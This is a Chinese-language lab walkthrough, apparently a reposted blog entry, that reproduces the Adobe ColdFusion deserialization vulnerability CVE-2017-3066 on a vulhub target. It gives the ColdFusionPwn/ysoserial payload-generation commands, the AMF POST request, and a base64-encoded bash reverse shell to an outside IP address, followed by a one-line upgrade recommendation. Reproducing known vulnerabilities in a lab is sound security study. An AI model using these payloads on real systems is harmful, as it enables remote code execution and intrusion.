文章目錄
- 漏洞名稱:Adobe ColdFusion 反序列化漏洞 (CVE-2017-3066)
- 影響版本
- 漏洞原理
- 漏洞復現
- 環境準備
- 漏洞利用
- 嘗試反彈shell
- 修復建議
漏洞名稱:Adobe ColdFusion 反序列化漏洞 (CVE-2017-3066)
簡介:
Adobe ColdFusion是美國Adobe公司的一款動態Web服務器產品,其運行的CFML(ColdFusion Markup Language)是針對Web應用的一種程式設計語言,
影響版本
Adobe ColdFusion (2016 release) Update 3及之前的版本
ColdFusion 11 Update 11及之前的版本
ColdFusion 10 Update 22及之前的版本
漏洞原理
Adobe ColdFusion中存在java反序列化漏洞,攻擊者可利用該漏洞在受影回應用程式的背景關系中執行任意代碼或造成拒絕服務,
漏洞復現
環境準備
靶機環境 139.196.87.102 (vulhub)
攻擊機環境 192.168.8.137 (虛擬機 Ubuntu 20、Java1.8、Burp)
啟動 Adobe ColdFusion 反序列化漏洞 環境
1.進入 vulhub 的 Adobe ColdFusion 路徑
cd /usr/local/tools/vulhub/coldfusion/CVE-2017-3066
2.編譯并啟動環境
docker-compose up -d
3.查看環境運行狀態
docker ps | grep vulhub

訪問 “http://139.196.87.102:8500/CFIDE/administrator/index.cfm”,輸入密碼 “vulhub” 完成安裝


漏洞利用
我們需要使用ColdFusionPwn工具來生成POC:
https://github.com/codewhitesec/ColdFusionPwn/releases/tag/0.0.1
https://jitpack.io/com/github/frohoff/ysoserial/master-d367e379d9-1/ysoserial-master-d367e379d9-1.jar
生成POC命令如下
java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial-master-d367e379d9-1.jar com.codewhitesec.coldfusionpwn.ColdFusionPwner -e CommonsBeanutils1 'touch /tmp/success' poc.ser
會在兩個jar包當前所在目錄生成一個 poc.ser 檔案

訪問 http://your-ip:8500/flex2gateway/amf,并抓包將 Content-Type 改為application/x-amf,修改為 POST 協議,并添加剛剛生成的 poc.ser 檔案
POST /flex2gateway/amf HTTP/1.1
Host: 139.196.87.102:8500
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-amf
Content-Length: 2853




nice 老鐵!利用成功!
嘗試反彈shell
同時我們試一下,利用該漏洞反彈shell
構造反彈命令
bash -i >& /dev/tcp/47.98.192.99/7777 0>&1
將其進行 base64 編碼
YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45OC4xOTIuOTkvNzc3NyAwPiYxIA==
使用 ColdFusionPwn 工具再次生成 poc.ser
java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial-master-d367e379d9-1.jar com.codewhitesec.coldfusionpwn.ColdFusionPwner -e CommonsBeanutils1 ' bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45OC4xOTIuOTkvNzc3NyAwPiYxIA==}|{base64,-d}|{bash,-i} ' poc.ser
再次上傳 poc.ser


修復建議
根據官方提示升級到最新版本
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/330120.html
標籤:其他
